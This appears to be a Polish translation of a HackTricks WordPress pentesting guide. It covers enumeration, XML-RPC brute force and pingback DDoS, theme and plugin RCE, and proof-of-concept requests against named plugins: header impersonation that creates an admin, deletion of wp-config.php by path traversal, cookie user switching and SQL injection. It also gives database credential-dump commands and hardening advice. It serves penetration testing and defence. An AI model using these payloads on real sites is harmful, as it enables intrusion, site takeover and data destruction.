38 KiB
Raw Blame History

Wordpress

{{#include ../../banners/hacktricks-training.md}}

Podstawowe informacje

  • Uploaded pliki trafiają do: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • W pliku wp-config.php możesz znaleźć hasło root do bazy danych.

  • Domyślne ścieżki logowania do sprawdzenia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Główne pliki WordPress

  • index.php
  • license.txt zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
  • wp-activate.php jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress.
  • Foldery logowania (mogą być przemianowane, aby je ukryć):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress REST API.
  • Folder wp-content jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
  • wp-content/uploads/ jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę.
  • wp-includes/ to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
  • wp-sitemap.xml W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.

Post exploitation

  • Plik wp-config.php zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów.

Uprawnienia użytkowników

  • Administrator
  • Editor: Publikuje i zarządza własnymi i cudzymi wpisami
  • Author: Publikuje i zarządza wyłącznie własnymi wpisami
  • Contributor: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
  • Subscriber: Przegląda wpisy i edytuje swój profil

Passive Enumeration

Get WordPress version

Sprawdź, czy możesz znaleźć pliki /license.txt lub /readme.html

W kodzie źródłowym strony (przykład z https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Pliki linków CSS

  • Pliki JavaScript

Pobierz wtyczki

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pobierz motywy

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Wydobywanie wersji — ogólnie

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktywna enumeracja

Wtyczki i motywy

Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał aktywnie Brute Force listę wtyczek i motywów (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy).

Użytkownicy

  • ID Brute: Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników:
curl -s -I -X GET http://blog.example.com/?author=1

Jeśli odpowiedzi mają status 200 lub 30X, oznacza to, że id jest prawidłowe. Jeśli odpowiedź ma status 400, wtedy id jest nieprawidłowe.

  • wp-json: Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie:
curl http://blog.example.com/wp-json/wp/v2/users

Kolejny endpoint /wp-json/, który może ujawnić pewne informacje o użytkownikach, to:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję.

Zwróć też uwagę, że /wp-json/wp/v2/pages może leak IP addresses.

  • Login username enumeration: Podczas logowania przez /wp-login.php komunikat jest inny i wskazuje, czy nazwa użytkownika istnieje, czy nie.

XML-RPC

Jeśli xml-rpc.php jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając tego).

Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do /xmlrpc.php i wyślij to żądanie:

Sprawdź

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories lub metaWeblog.getUsersBlogs to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Komunikat "Incorrect username or password" w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe.

Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W odpowiedzi pojawi się ścieżka (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Jest też szybszy sposób na brute-force credentials używając system.multicall, ponieważ możesz spróbować kilku creds w tym samym żądaniu:

Omijanie 2FA

Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS lub skanowanie portów

Jeśli znajdziesz metodę pingback.ping na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.
Może to posłużyć do zmuszenia tysięcy Wordpress sites do access jednej location (w ten sposób wywołując DDoS w tej lokalizacji), albo możesz użyć tego, aby sprawić, że Wordpress przeskanuje jakąś wewnętrzną network (możesz wskazać dowolny port).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Jeśli otrzymasz faultCode o wartości większej niż 0 (17), oznacza to, że port jest otwarty.

Zwróć uwagę na użycie system.multicall w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ten plik zwykle znajduje się w katalogu root strony Wordpress: /wp-cron.php
Gdy ten plik jest wywoływany, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez atakujących do wywołania DoS.
Ponadto, domyślnie wp-cron.php jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS).

Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).

/wp-json/oembed/1.0/proxy - SSRF

Spróbuj uzyskać dostęp do https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i strona Worpress może wykonać żądanie do Ciebie.

This is the response when it doesn't work:

SSRF

{{#ref}} https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}}

To narzędzie sprawdza, czy istnieje methodName: pingback.ping oraz ścieżka /wp-json/oembed/1.0/proxy, i jeśli tak, próbuje je exploitować.

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Uzyskaj dostęp przez nadpisanie jednego bitu

To bardziej ciekawostka niż prawdziwy atak. W CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji 5389 w pliku /var/www/html/wp-includes/user.php, aby zamienić operację NOT (!) na NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)

Wygląd → Edytor motywu → Szablon 404 (po prawej)

Zmień zawartość na php shell:

Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Możesz użyć:

use exploit/unix/webapp/wp_admin_shell_upload

aby uzyskać sesję.

Plugin RCE

PHP plugin

Może być możliwe przesłanie plików .php jako plugin.
Utwórz swój php backdoor używając na przykład:

Następnie dodaj nowy plugin:

Prześlij plugin i naciśnij Install Now:

Kliknij na Procced:

Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz przesłany shell:

Otwórz go i zobaczysz URL do uruchomienia reverse shell:

Uploading and activating malicious plugin

Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób:

  1. Plugin Acquisition: plugin jest pobierany ze źródła takiego jak Exploit DB, na przykład here.
  2. Plugin Installation:
  • Przejdź do WordPress dashboard, następnie do Dashboard > Plugins > Upload Plugin.
  • Prześlij plik zip pobranego pluginu.
  1. Plugin Activation: Po pomyślnej instalacji plugin musi zostać aktywowany przez dashboard.
  2. Exploitation:
  • Po zainstalowaniu i aktywowaniu pluginu "reflex-gallery" można go exploitować, ponieważ jest znany z podatności.
  • Framework Metasploit dostarcza exploit dla tej podatności. Ładując odpowiedni moduł i wykonując konkretne polecenia można uzyskać sesję meterpreter, co daje nieautoryzowany dostęp do strony.
  • Należy pamiętać, że jest to tylko jedna z wielu metod wykorzystania podatności w WordPress.

Zawartość zawiera materiały wizualne przedstawiające kroki w dashboardzie WordPress dotyczące instalacji i aktywacji pluginu. Należy jednak pamiętać, że wykorzystywanie podatności w ten sposób jest nielegalne i nieetyczne bez odpowiedniej autoryzacji. Informacje te powinny być używane odpowiedzialnie i tylko w kontekście prawnym, takim jak penetration testing z wyraźną zgodą.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Privilege Escalation: Tworzy użytkownika w WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Prześlij swój custom plugin (backdoor) do WordPress.
  • (RCE) Built-In Plugin Edit: Edytuj wbudowane pluginy w WordPress.
  • (RCE) Built-In Theme Edit: Edytuj wbudowane motywy w WordPress.
  • (Custom) Custom Exploits: Custom Exploits dla third-party WordPress Plugins/Themes.

Post Exploitation

Wyodrębnij nazwy użytkowników i hasła:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Zmień hasło administratora:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Powierzchnia ataku

Znajomość sposobów, w jakie wtyczka Wordpress może ujawniać funkcjonalności, jest kluczowa, aby znaleźć podatności w jej działaniu. Poniżej znajdziesz, w jaki sposób wtyczka może ujawniać funkcjonalności, oraz przykłady podatnych wtyczek w this blog post.

  • wp_ajax

Jednym ze sposobów, w jaki wtyczka może udostępniać funkcje użytkownikom, są obsługiwacze AJAX. Mogą one zawierać błędy w logice, autoryzacji lub uwierzytelnianiu. Co więcej, często bywa tak, że te funkcje opierają zarówno uwierzytelnianie, jak i autoryzację na istnieniu Wordpress nonce, które każdy uwierzytelniony użytkownik instancji Wordpress może posiadać (niezależnie od jego roli).

Oto funkcje, które mogą być użyte do udostępnienia funkcji w wtyczce:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Użycie nopriv sprawia, że endpoint jest dostępny dla wszystkich użytkowników (nawet niezalogowanych).

Caution

Ponadto, jeśli funkcja sprawdza autoryzację użytkownika tylko za pomocą funkcji wp_verify_nonce, ta funkcja jedynie sprawdza, czy użytkownik jest zalogowany; zazwyczaj nie sprawdza roli użytkownika. W rezultacie użytkownicy o niskich uprawnieniach mogą mieć dostęp do akcji wymagających wyższych uprawnień.

  • REST API

Możliwe jest też wystawienie funkcji z wordpressa poprzez zarejestrowanie REST API przy użyciu funkcji register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback jest funkcją wywoływaną (callbackiem), która sprawdza, czy dany użytkownik jest uprawniony do wywołania metody API.

Jeśli użyta jest wbudowana funkcja __return_true, po prostu pominie ona sprawdzenie uprawnień użytkownika.

  • Bezpośredni dostęp do pliku PHP

Oczywiście Wordpress używa PHP, a pliki wewnątrz wtyczek są bezpośrednio dostępne z sieci. Jeśli wtyczka ujawnia jakąś podatną funkcjonalność, która jest wywoływana jedynie przez dostęp do pliku, będzie ona wykorzystywalna przez dowolnego użytkownika.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Niektóre wtyczki implementują „trusted header” skróty dla integracji wewnętrznych lub reverse proxies i następnie używają tego headera do ustawiania kontekstu bieżącego użytkownika dla żądań REST. Jeśli header nie jest kryptograficznie powiązany z żądaniem przez komponent upstream, atakujący może go sfałszować i wywołać uprzywilejowane trasy REST jako administrator.

  • Wpływ: eskalacja uprawnień bez uwierzytelnienia do roli administratora poprzez utworzenie nowego administratora za pomocą core users REST route.
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (wymusza ID użytkownika 1, zazwyczaj pierwsze konto administratora).
  • Wyeksploatowana trasa: POST /wp-json/wp/v2/users z podwyższoną tablicą ról.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Dlaczego to działa

  • The plugin maps a client-controlled header to authentication state and skips capability checks.
  • WordPress core expects create_users capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.

Oczekiwane wskaźniki sukcesu

  • HTTP 201 z ciałem JSON opisującym utworzonego użytkownika.
  • Nowy użytkownik z uprawnieniami administratora widoczny w wp-admin/users.php.

Lista kontrolna wykrywania

  • Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
  • Przejrzyj rejestracje REST pod kątem uprzywilejowanych callbacków, które nie mają solidnych sprawdzeń permission_callback i zamiast tego polegają na nagłówkach żądania.
  • Szukaj użyć funkcji rdzenia do zarządzania użytkownikami (wp_insert_user, wp_create_user) wewnątrz REST handlers, które są ograniczone wyłącznie przez wartości nagłówków.

Wzmocnienie

  • Nigdy nie wyprowadzaj uwierzytelnienia ani autoryzacji z nagłówków kontrolowanych przez klienta.
  • Jeśli reverse proxy musi wstrzyknąć identity, zakończ zaufanie na proxy i usuń przychodzące kopie (np. unset X-Wcpay-Platform-Checkout-User na krawędzi), następnie przekaż podpisany token i zweryfikuj go po stronie serwera.
  • Dla tras REST wykonujących uprzywilejowane akcje wymagaj sprawdzeń current_user_can() oraz rygorystycznego permission_callback (NIE używaj __return_true).
  • Preferuj first-party auth (cookies, application passwords, OAuth) zamiast header “impersonation”.

References: see the links at the end of this page for a public case and broader analysis.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

The Litho multipurpose theme (< 3.1) forgot those 3 controls in the Remove Font Family feature and ended up shipping the following code (simplified):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemy wprowadzone przez ten fragment:

  • Unauthenticated access zarejestrowano hook wp_ajax_nopriv_.
  • No nonce / capability check każdy odwiedzający może wywołać endpoint.
  • No path sanitisation kontrolowany przez użytkownika ciąg fontfamily jest konkatenowany do ścieżki systemu plików bez filtrowania, co umożliwia klasyczny ../../ traversal.

Exploitation

Atakujący może usunąć dowolny plik lub katalog poniżej bazowego katalogu uploads (zwykle <wp-root>/wp-content/uploads/) wysyłając jedno żądanie HTTP POST:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Ponieważ wp-config.php znajduje się poza uploads, cztery sekwencje ../ wystarczą w domyślnej instalacji. Usunięcie wp-config.php wymusza na WordPress przejście do kreatora instalacji przy kolejnej wizycie, umożliwiając pełne przejęcie strony (atakujący jedynie podaje nową konfigurację DB i tworzy użytkownika admina).

Inne istotne cele to pliki plugin/theme .php (np. w celu wyłączenia security plugins) lub reguły .htaccess.

Lista kontrolna wykrywania

  • Każde wywołanie zwrotne add_action( 'wp_ajax_nopriv_...'), które wywołuje funkcje pomocnicze systemu plików (copy(), unlink(), $wp_filesystem->delete(), itp.).
  • Konkatenacja niesanitizowanych danych wejściowych użytkownika w ścieżki (szukaj $_POST, $_GET, $_REQUEST).
  • Brak check_ajax_referer() oraz current_user_can()/is_user_logged_in().

Zabezpieczenia

function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

Tip

Zawsze traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i dokładnie sprawdź: • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath() plus str_starts_with()).


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Wiele wtyczek implementuje funkcję "view as role" lub tymczasowego przełączania ról, zapisując oryginalne role w user meta, aby mogły być przywrócone później. Jeśli ścieżka przywracania polega wyłącznie na parametrach żądania (np. $_REQUEST['reset-for']) i utrzymywanej przez wtyczkę liście, bez sprawdzenia capabilities i ważnego nonce, prowadzi to do vertical privilege escalation.

Przykład z prawdziwego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź resetu przywracała role na podstawie reset-for=<username> jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy $options['viewing_admin_as_role_are'], ale nie wykonywała ani sprawdzenia current_user_can(), ani weryfikacji nonce przed usunięciem bieżących ról i ponownym dodaniem zapisanych ról z user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Dlaczego to jest podatne

  • Ufa $_REQUEST['reset-for'] i opcji pluginu bez autoryzacji po stronie serwera.
  • Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w _asenha_view_admin_as_original_roles i został zdegradowany, może je przywrócić przez odwiedzenie reset path.
  • W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika wciąż obecnej w viewing_admin_as_role_are (błędna autoryzacja).

Wymagania wstępne ataku

  • Wrażliwa wersja pluginu z włączoną funkcją.
  • Konto celu ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
  • Dowolna uwierzytelniona sesja; brak nonce/capability w przepływie resetu.

Eksploatacja (przykład)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

W podatnych buildach to usuwa obecne role i ponownie dodaje zapisane oryginalne role (np. administrator), skutecznie eskalując uprawnienia.

Detection checklist

  • Szukaj funkcji przełączania ról, które przechowują „original roles” w user meta (np. _asenha_view_admin_as_original_roles).
  • Zidentyfikuj ścieżki resetowania/przywracania, które:
  • Odczytują nazwy użytkowników z $_REQUEST / $_GET / $_POST.
  • Modyfikują role za pomocą add_role() / remove_role() bez current_user_can() i wp_verify_nonce() / check_admin_referer().
  • Autoryzują na podstawie tablicy opcji wtyczki (np. viewing_admin_as_role_are) zamiast na podstawie uprawnień wykonawcy.

Hardening

  • Wymuszaj sprawdzenia uprawnień w każdej gałęzi zmieniającej stan (np. current_user_can('manage_options') lub bardziej restrykcyjne).
  • Wymagaj nonce'ów dla wszystkich mutacji ról/uprawnień i weryfikuj je: check_admin_referer() / wp_verify_nonce().
  • Nigdy nie ufaj nazwom użytkowników przesyłanym w żądaniu; określ docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i wyraźnej polityki.
  • Unieważniaj stan „original roles” przy aktualizacjach profilu/roli, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • Rozważ przechowywanie minimalnego stanu i używanie tokenów o ograniczonym czasie ważności, capability-guarded, do tymczasowych zmian ról.

Nieautoryzowana privilege escalation via cookietrusted user switching na publicznym init (Service Finder “sf-booking”)

Niektóre wtyczki podłączają helpery do przełączania użytkownika do publicznego hooka init i wyprowadzają tożsamość z kontrolowanego przez klienta cookie. Jeśli kod wywołuje wp_set_auth_cookie() bez weryfikacji uwierzytelnienia, capability i ważnego nonce, dowolny nieautoryzowany odwiedzający może wymusić zalogowanie jako dowolny identyfikator użytkownika.

Typowy podatny wzorzec (upraszczając z Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Dlaczego jest to podatne

  • Publiczny hook init sprawia, że handler jest osiągalny dla niezalogowanych użytkowników (brak zabezpieczenia is_user_logged_in()).
  • Tożsamość pochodzi z cookie modyfikowalnego przez klienta (original_user_id).
  • Bezpośrednie wywołanie wp_set_auth_cookie($uid) loguje żądającego jako tego użytkownika bez żadnych sprawdzeń uprawnień/nonce.

Eksploatacja (bez uwierzytelnienia)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Rozważania dotyczące WAF dla WordPress/plugin CVEs

Ogólne WAFy brzegowe/serwerowe są dostrojone pod szerokie wzorce (SQLi, XSS, LFI). Wiele wysoko wpływowych luk w WordPress/plugin to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPress i semantykę pluginów.

Notatki ofensywne

  • Celuj w endpointy specyficzne dla pluginów za pomocą czystych payloads: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Najpierw testuj ścieżki bez uwierzytelnienia (AJAX nopriv, REST z permissive permission_callback, public shortcodes). Domyślne payloads często działają bez obfuskacji.
  • Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), arbitrary file upload/download, LFI, open redirect.

Notatki defensywne

  • Nie polegaj na ogólnych sygnaturach WAF w celu ochrony plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, lub aktualizuj szybko.
  • Preferuj pozytywne kontrole bezpieczeństwa w kodzie (capabilities, nonces, strict input validation) zamiast negatywnych filtrów regex.

Ochrona WordPress

Regularne aktualizacje

Upewnij się, że WordPress, plugins i themes są aktualne. Potwierdź też, że automatyczne aktualizacje są włączone w wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Również, instaluj tylko zaufane wtyczki i motywy WordPress.

Wtyczki bezpieczeństwa

Inne zalecenia

  • Usuń domyślnego użytkownika admin
  • Używaj silnych haseł i 2FA
  • Okresowo przeglądaj uprawnienia użytkowników
  • Ogranicz liczbę prób logowania, aby zapobiec atakom Brute Force
  • Zmień nazwę pliku wp-admin.php i zezwalaj na dostęp tylko wewnętrznie lub z wybranych adresów IP.

SQL Injection bez uwierzytelnienia przez niewystarczającą walidację (WP Job Portal <= 2.3.2)

Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie savecategory, które ostatecznie wykonuje następujący podatny kod w modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Niezabezpieczone dane wejściowe użytkownika parentid pochodzi bezpośrednio z żądania HTTP.
  2. Konkatenacja łańcuchów w klauzuli WHERE brak is_numeric() / esc_sql() / prepared statement.
  3. Dostęp bez uwierzytelnienia chociaż akcja jest wykonywana przez admin-post.php, jedyną kontrolą jest CSRF nonce (wp_verify_nonce()), który każdy odwiedzający może pobrać ze strony publicznej osadzonej przez shortcode [wpjobportal_my_resumes].

Eksploatacja

  1. Pobierz świeży nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Wstrzyknij dowolne SQL, wykorzystując parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.

